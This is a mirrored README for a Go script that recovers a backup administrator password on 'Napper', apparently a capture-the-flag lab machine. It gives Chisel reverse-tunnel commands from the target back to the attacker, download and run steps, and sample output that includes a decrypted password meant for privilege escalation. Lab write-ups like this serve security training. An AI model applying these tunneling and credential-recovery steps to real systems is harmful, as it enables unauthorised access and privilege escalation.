Coder Social home page Coder Social logo

napper_script's Introduction

About

A GO Lang script that will get you the password for the Administrator user backup on Napper.

Requirements

Your machine has to be linked to Napper with a reverse port forward on port 9200. Here's a way to do it using Chisel.

  • Run this on your linux machine:
user@kali:~$ chisel server -p 9000 --reverse
user@kali:~$
  • Run this on Napper:
C:\Users\ruben\Desktop> chisel.exe client <YOUR_IP>:9000 R:9200:127.0.0.1:9200
C:\Users\ruben\Desktop> 

Change <YOUR_IP> with your tun0 IP address.
You can also use an available port different than 9000 if you want.
chisel.exe is NOT installed by default on Napper. It is your job to get it on Napper before using this script.

Obviously GO Lang has to be installed on your linux machine (where the script will be executed). If you don't have it installed yet, visit this link.

Usage

Firstly you download the script. After that you give the script the execution permission. Finally you run the script.

user@kali:~$ wget https://github.com/croluy/Napper_Script/blob/main/Pass_script
user@kali:~$ sudo chmod +x Pass_script
user@kali:~$ go run Pass_script
user@kali:~$ 

If all went well, it will produce an output similar to this:

Key: 6b871be7d935fc2a7d2a974b798e6c9b
IV: 87f47937c807cf2c6c98e01a11684ea7
Encrypted Data: 3c09b34edb32df9cb252ae6f7c84e8b61ddaf9ee88508f79c104f3d7ee61317ed38eb8cfb2173e16
Decrypted Data: qFrbskeXMiWlmnyqtlrwkqqHmcztbBmXUdfAlgvn

Decrypted Data is the password for the backup user. Now it's your turn to find a way to use it and finish your privesc.

napper_script's People

Contributors

croluy avatar 0tonoon avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.